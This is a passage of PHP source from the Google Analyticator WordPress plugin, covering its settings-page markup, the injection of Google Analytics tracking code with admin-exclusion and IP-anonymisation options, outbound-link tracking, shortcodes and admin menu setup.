<tr<?php if(!$useAuth){echo ' style="display:none"';}?>> <th valign="top" style="padding-top: 10px;"><label for="<?php echo esc_attr(key_ga_widgets); ?>"> <?php esc_html_e('Include widgets', 'google-analyticator'); ?>:</label></th> <td><?php echo "<select name='".esc_attr(key_ga_widgets)."' id='".esc_attr(key_ga_widgets)."'>\n"; echo "<option value='".esc_attr(ga_enabled)."'"; if(get_option(key_ga_widgets) == ga_enabled) echo " selected='selected'"; echo ">" . esc_html__('Enabled', 'google-analyticator') . "</option>\n"; echo "<option value='".esc_attr(ga_disabled)."'"; if(get_option(key_ga_widgets) == ga_disabled) echo" selected='selected'"; echo ">" . esc_html__('Disabled', 'google-analyticator') . "</option>\n"; echo "</select>\n"; ?> <p class="setting-description"> <?php esc_html_e('Disabling this option will completely remove the Dashboard Summary widget and the theme Stats widget. Use this option if you would prefer to not see the widgets.', 'google-analyticator'); ?> </p></td> </tr> <tr<?php if(!$useAuth){echo ' style="display:none"';}?>> <th valign="top" style="padding-top: 10px;"> <label for="<?php echo esc_attr(key_ga_dashboard_role) ?>"> <?php esc_html_e('User roles that can see the dashboard widget', 'google-analyticator'); ?>:</label> </th> <td><?php global $wp_roles; $roles = $wp_roles->get_names(); $selected_roles = get_option(key_ga_dashboard_role); if ( !is_array($selected_roles) ) $selected_roles = array(); # Loop through the roles foreach ( $roles AS $role => $name ) { echo '<input type="checkbox" value="' . esc_attr($role) . '" name="' . esc_attr(key_ga_dashboard_role) . '[]"'; if ( in_array($role, $selected_roles) ) echo " checked='checked'"; $name_pos = strpos($name, '|'); $name = ( $name_pos ) ? substr($name, 0, $name_pos) : $name; echo ' /> ' . esc_html($name, 'User role') . '<br />'; } ?> <p class="setting-description"> <?php esc_html_e('Specifies the user roles that can see the dashboard widget. If a user is not in one of these role groups, they will not see the dashboard widget.', 'google-analyticator'); ?> </p></td> </tr> <?php do_action("ga_experiment_setting_view");?> </table> <p class="submit"> <input type="submit" class="button button-primary" name="info_update" value="<?php esc_attr_e('Save Changes', 'google-analyticator'); ?>" /> </p> <a href="<?php echo esc_url(ga_analyticator_setting_url()). '&pageaction=ga_clear_cache' ?>"><?php esc_html_e('Clear Analyticator Cache', 'google-analyticator'); ?></a> | <a href="<?php echo esc_url(wp_nonce_url( admin_url('/options-general.php?page=ga_reset'), 'ga-reset')); ?>"> <?php esc_html_e('Deauthorize & Reset Google Analyticator.', 'google-analyticator'); ?></a> </form> </div> </div> </div> <div class="google-analyticator-content-right"> <div class="google-analyticator-content-container-right"> <div class="google-analyticator-promo-box entry-content"> <p class="google-analyticator-promo-box-header">Your one stop WordPress shop</p> <ul> <li>• Get the latest WordPress software deals</li> <li>• Plugins, themes, form builders, and more</li> <li>• Shop with confidence; 60-day money-back guarantee</li> </ul> <div align="center"> <button onclick="window.open('https://appsumo.com/tools/wordpress/?utm_source=sumo&utm_medium=wp-widget&utm_campaign=google-analyticator')" class="google-analyticator-appsumo-capture-container-button" type="submit">Show Me The Deals</button> </div> </div> <div class="google-analyticator-promo-box google-analyticator-promo-box-form entry-content"> <?php include plugin_dir_path( __FILE__ ).'appsumo-capture-form.php'; ?> </div> </div> </div> <!-- end wrap --> </div> <!-- end vumga-container --> <?php } function ga_sort_account_list($a, $b) { return strcmp($a['title'],$b['title']); } /** * Checks if the WordPress API is a valid method for selecting an account * * @return a list of accounts if available, false if none available **/ function ga_get_analytics_accounts() { $accounts = array(); # Create a new Gdata call if ( isset($_POST['token']) && $_POST['token'] != '' ) $stats = new GoogleAnalyticsStats($_POST['token']); elseif ( trim(get_option('ga_google_token')) != '' ) $stats = new GoogleAnalyticsStats(); else return false; # Check if Google sucessfully logged in if ( ! $stats->checkLogin() ) return false; # Get a list of accounts $accounts = $stats->getAllProfiles(); natcasesort ($accounts); # Return the account array if there are accounts if ( count($accounts) > 0 ) return $accounts; else return false; } /** * Add http_build_query if it doesn't exist already **/ if ( !function_exists('http_build_query') ) { function http_build_query($params, $key = null) { $ret = array(); foreach( (array) $params as $name => $val ) { $name = urlencode($name); if ( $key !== null ) $name = $key . "[" . $name . "]"; if ( is_array($val) || is_object($val) ) $ret[] = http_build_query($val, $name); elseif ($val !== null) $ret[] = $name . "=" . urlencode($val); } return implode("&", $ret); } } /** * Echos out the core Analytics tracking code **/ function add_google_analytics() { # Fetch variables used in the tracking code $uid = stripslashes(get_option(key_ga_uid)); $extra = stripslashes(get_option(key_ga_extra)); $extra_after = stripslashes(get_option(key_ga_extra_after)); $extensions = str_replace (",", "|", get_option(key_ga_downloads)); # Determine if the GA is enabled and contains a valid UID if ( ( get_option(key_ga_status) != ga_disabled ) && ( $uid != "XX-XXXXX-X" ) ) { # Determine if the user is an admin, and should see the tracking code #first check if its tracking is enabled but current user is not in the list # Or check if tracking is enabled but its in the list but the method is not remove if ( (get_option(key_ga_admin) == ga_enabled && !ga_current_user_is(get_option(key_ga_admin_role) ) ) || (get_option(key_ga_admin) == ga_enabled && ga_current_user_is(get_option(key_ga_admin_role) ) && get_option(key_ga_admin_disable) != 'remove' ) || !is_user_logged_in()) { # Disable the tracking code on the post preview page if ( !function_exists("is_preview") || ( function_exists("is_preview") && !is_preview() ) ) { # Add the notice that Google Analyticator tracking is enabled echo "<!-- Google Analytics Tracking by Google Analyticator " . esc_html(GOOGLE_ANALYTICATOR_VERSION) . " -->\n"; # Add the Adsense data if specified if ( get_option(key_ga_adsense) != '' ) echo '<script type="text/javascript">window.google_analytics_uacct = "' . esc_attr(get_option(key_ga_adsense)) . "\";</script>\n"; # Include the file types to track $extensions = explode(',', stripslashes(get_option(key_ga_downloads))); $ext = ""; foreach ( $extensions AS $extension ) $ext .= "'$extension',"; $ext = substr($ext, 0, -1); # Include the link tracking prefixes $outbound_prefix = stripslashes(get_option(key_ga_outbound_prefix)); $downloads_prefix = stripslashes(get_option(key_ga_downloads_prefix)); $event_tracking = get_option(key_ga_event); $need_to_annon = get_option(key_ga_annon); $jsanalytic_snippet = get_option(key_ga_analytic_snippet); ?> <script type="text/javascript"> var analyticsFileTypes = [<?php echo esc_js($ext ? '' : strtolower($ext) ); ?>]; <?php if ( $event_tracking != 'enabled' ) { ?> var analyticsOutboundPrefix = '/<?php echo esc_js($outbound_prefix); ?>/'; var analyticsDownloadsPrefix = '/<?php echo esc_js($downloads_prefix); ?>/'; <?php } ?> var analyticsSnippet = '<?php echo esc_js($jsanalytic_snippet); ?>'; var analyticsEventTracking = '<?php echo esc_js($event_tracking); ?>'; </script> <?php # Add the first part of the core tracking code ?> <script type="text/javascript"> <?php if($jsanalytic_snippet == ga_enabled){?> var _gaq = _gaq || []; <?php if(get_option(key_ga_enhanced_link_attr) == ga_enabled): ?> var pluginUrl = '//www.google-analytics.com/plugins/ga/inpage_linkid.js'; _gaq.push(['_require', 'inpage_linkid', pluginUrl]); <?php endif; ?> _gaq.push(['_setAccount', '<?php echo esc_js($uid); ?>']); _gaq.push(['_addDevId', 'i9k95']); // Google Analyticator App ID with Google <?php if ($need_to_annon == '1' ): ?> _gaq.push(['_gat._anonymizeIp']); <?php endif; ?> <?php # Add any tracking code before the trackPageview do_action('google_analyticator_extra_js_before'); if ( '' != $extra ) echo esc_js(" $extra\n"); # Add the track pageview function echo " _gaq.push(['_trackPageview']);\n"; # Disable page tracking if admin is logged in if ( ( get_option(key_ga_admin_disable) == "admin" ) && ( ga_current_user_is(get_option(key_ga_admin_role)) ) ) echo " _gaq.push(['_setCustomVar', 'admin']);\n"; # Add any tracking code after the trackPageview do_action('google_analyticator_extra_js_after'); if ( '' != $extra_after ) echo esc_js(" $extra_after\n"); # Add the final section of the tracking code ?> (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; <?php if( get_option( key_ga_remarketing ) ) : ?> ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js'; <?php else: ?> ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; <?php endif; ?> var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <?php }else{ ?> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', '<?php echo esc_js($uid); ?>', 'auto'); <?php if(get_option(key_ga_enhanced_link_attr) == ga_enabled): ?> ga('require', 'linkid', 'linkid.js'); <?php endif; ?> <?php if( get_option( key_ga_remarketing ) ) : ?> ga('require', 'displayfeatures'); <?php endif; ?> <?php if ($need_to_annon == '1' ): ?> ga('set', 'anonymizeIp', true); <?php endif; ?> <?php # Add any tracking code before the trackPageview do_action('google_analyticator_extra_js_before'); if ( '' != $extra ) echo esc_js(" $extra\n"); ?> <?php $dimentionKeyVal = get_option(key_ga_admin_disable_DimentionIndex); if ( ( get_option(key_ga_admin_disable) == "admin" ) && ( ga_current_user_is(get_option(key_ga_admin_role)) ) && $dimentionKeyVal ) echo esc_js(" ga('set', 'dimension". $dimentionKeyVal ."', 'admin');\n"); ?> ga('send', 'pageview'); <?php # Add any tracking code after the trackPageview do_action('google_analyticator_extra_js_after'); if ( '' != $extra_after ) echo esc_js(" $extra_after\n"); }?> </script> <?php } } else { # Add the notice that Google Analyticator tracking is enabled echo "<!-- Google Analytics Tracking by Google Analyticator " . esc_html(GOOGLE_ANALYTICATOR_VERSION) . ": http://wordpress.org/plugins/google-analyticator/ -->\n"; echo " <!-- " . esc_html__('Tracking code is hidden, since the settings specify not to track admins. Tracking is occurring for non-admins.', 'google-analyticator') . " -->\n"; } } } /** * Adds outbound link tracking to Google Analyticator **/ function ga_outgoing_links() { # Fetch the UID $uid = stripslashes(get_option(key_ga_uid)); # If GA is enabled and has a valid key if ( (get_option(key_ga_status) != ga_disabled ) && ( $uid != "XX-XXXXX-X" ) ) { # If outbound tracking is enabled if ( get_option(key_ga_outbound) == ga_enabled ) { # If this is not an admin page if ( !is_admin() ) { # Display page tracking if user is not an admin if ( ( get_option(key_ga_admin) == ga_enabled || !ga_current_user_is(get_option(key_ga_admin_role)) ) && get_option(key_ga_admin_disable) == 'remove' || get_option(key_ga_admin_disable) != 'remove' ) { add_action('wp_print_scripts', 'ga_external_tracking_js',99999); } } } } } /** * Adds the scripts required for outbound link tracking **/ function ga_external_tracking_js() { // Exit if this is a post preview if (is_preview()) { return; } $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script('ga-external-tracking', plugins_url("/google-analyticator/external-tracking{$suffix}.js"), array('jquery'), GOOGLE_ANALYTICATOR_VERSION); } /** * Determines if a specific user fits a role **/ function ga_current_user_is($roles) { if ( !$roles ) return false; $current_user = wp_get_current_user(); $user_id = intval( $current_user->ID ); if ( !$user_id ) { return false; } $user = new WP_User($user_id); // $user->roles foreach ( $roles as $role ) if ( in_array($role, $user->roles) ) return true; return false; } function ga_analyticator_setting_url(){ return ( ga_get_active_addons() == false) ? admin_url("admin.php?page=google-analyticator") : admin_url("admin.php?page=ga-pro-experiment.php"); } function ga_get_active_addons(){ $gapro_addons = get_option("gapro_addons"); if($gapro_addons && is_array($gapro_addons)){ return $gapro_addons; }else{ return false; } } function add_ga_admin_footer(){ echo '<script type="text/javascript">'; echo 'jQuery(document).ready(function(){ jQuery("#ga_analytic_snippet").change(function(){ if(jQuery("#ga_analytic_snippet option:selected").val() == "disabled") jQuery(".newtrackingnote").show(); else jQuery(".newtrackingnote").hide(); jQuery("#ga_admin_disable").trigger("change"); }); jQuery("#ga_admin_disable").change(function(){ if((jQuery("#ga_analytic_snippet option:selected").val() == "disabled") && (jQuery("#ga_admin_disable option:selected").val() == "admin")){ jQuery(".ga_admin_disable_DimentionIndex_span").show(); }else { jQuery(".ga_admin_disable_DimentionIndex_span").hide(); } }); jQuery( "#ga_analytic_snippet" ).trigger("change"); jQuery("#ga_admin_disable").trigger("change"); })'; echo '</script>'; } /** * Shortcode */ //[analytics] function ga_analyticator_shortcode( $atts ) { # Include the Google Analytics Summary widget require_once('google-analytics-summary-widget.php'); ob_start(); $google_analytics_summary = new GoogleAnalyticsSummary(TRUE); // Wrap it with these divs to mimic the admin dashboard widget structure. echo '<div id="google-analytics-summary"><div class="inside">'; $google_analytics_summary->widget(); echo '</div></div>'; return ob_get_clean(); } //[analytics-counter] function ga_analyticator_counter_shortcode( $atts ) { # Include Google Analytics Stats widget require_once('google-analytics-stats-widget.php'); ob_start(); $google_analytics_widget = new GoogleStatsWidget(TRUE); return ob_get_clean(); } add_shortcode( 'analytics', 'ga_analyticator_shortcode' ); add_shortcode( 'analytics-counter', 'ga_analyticator_counter_shortcode' ); add_option('ga_analyticator_global_notification', 1); function ga_analyticator_global_notice() { if (in_array(substr(basename($_SERVER['REQUEST_URI']), 0, 11), array('plugins.php', 'index.php')) && get_option('ga_analyticator_global_notification') == 1) { ?> <style type="text/css"> #ga_analyticator_global_notification a.button:active {vertical-align:baseline;} </style> <div class="updated" id="ga_analyticator_global_notification" style="border:3px solid #317A96;position:relative;background:##3c9cc2;background-color:#3c9cc2;color:#ffffff;height:70px;"> <a class="notice-dismiss" href="<?php echo esc_url(admin_url('admin.php?page=google-analyticator&ga_analyticator_global_notification=0')); ?>" style="right:165px;top:0;"></a> <a href="<?php echo esc_url(admin_url('admin.php?page=google-analyticator&ga_analyticator_global_notification=0')); ?>" style="position:absolute;top:9px;right:15px;color:#ffffff;">Dismiss and go to settings</a> <p style="font-size:16px;line-height:50px;"> <?php esc_html('Grow your site faster!'); ?> <a style="background-color: #6267BE;border-color: #3C3F76;" href="<?php echo esc_url(admin_url('plugin-install.php?tab=plugin-information&plugin=sumome&TB_iframe=true&width=743&height=500')); ?>" class="thickbox button button-primary">Get SumoMe WordPress Plugin</a> </p> </div> <?php } } //add_action( 'admin_notices', 'ga_analyticator_global_notice' ); function ga_analyticator_deactivate() { delete_option('ga_analyticator_global_notification'); } register_deactivation_hook( __FILE__, 'ga_analyticator_deactivate' ); function ga_analyticator_other_plugins_page() { include(plugin_dir_path( __FILE__ ).'/other_plugins.php'); } function ga_analyticator_top_level_menu() { $menu_page = add_menu_page( 'Google Analytics', 'Google Analytics', 'manage_options', 'google-analyticator', 'ga_settings_page', 'dashicons-chart-line'); add_action('load-'.$menu_page, 'ga_pre_load' ); //add_submenu_page( 'google-analyticator', 'Other Plugins', 'Other Plugins', 'manage_options', 'google-analyticator-other-plugins', 'ga_analyticator_other_plugins_page'); $activate_page = add_submenu_page( null, 'Activation', 'Google Analytics', 'manage_options', 'ga_activate' , 'ga_activate'); $reset_page = add_submenu_page(null, 'Reset', 'Reset', 'activate_plugins', 'ga_reset', 'ga_reset' ); add_action('load-'.$reset_page, 'ga_do_reset' ); add_submenu_page( 'google-analyticator', 'Other Tools', 'Other Tools', 'manage_options', 'google-analyticator-plugin-other-tools', 'google_analyticator_other_tools_page'); add_submenu_page( 'google-analyticator', 'Appsumo', '<span class="google-analyticator-sidebar-appsumo-link"><span class="dashicons dashicons-star-filled" style="font-size: 17px"></span> AppSumo</span>', 'manage_options', 'google_analyticator_go_appsumo_pro', 'google_analyticator_handle_external_redirects' ); //add_filter( 'plugin_action_links_' . plugin_basename(__FILE__), 'google_analyticator_filter_plugin_actions', 10, 2 ); } function google_analyticator_other_tools_page() { include(plugin_dir_path( __FILE__ ).'/other_tools.php'); } function google_analyticator_filter_plugin_actions($links, $file) { $settings_link = '<a href="admin.php?page=google-analyticator">' . __('Settings') . '</a>'; array_unshift( $links, $settings_link ); // before other links return $links; } add_action( 'admin_menu', 'ga_analyticator_top_level_menu' );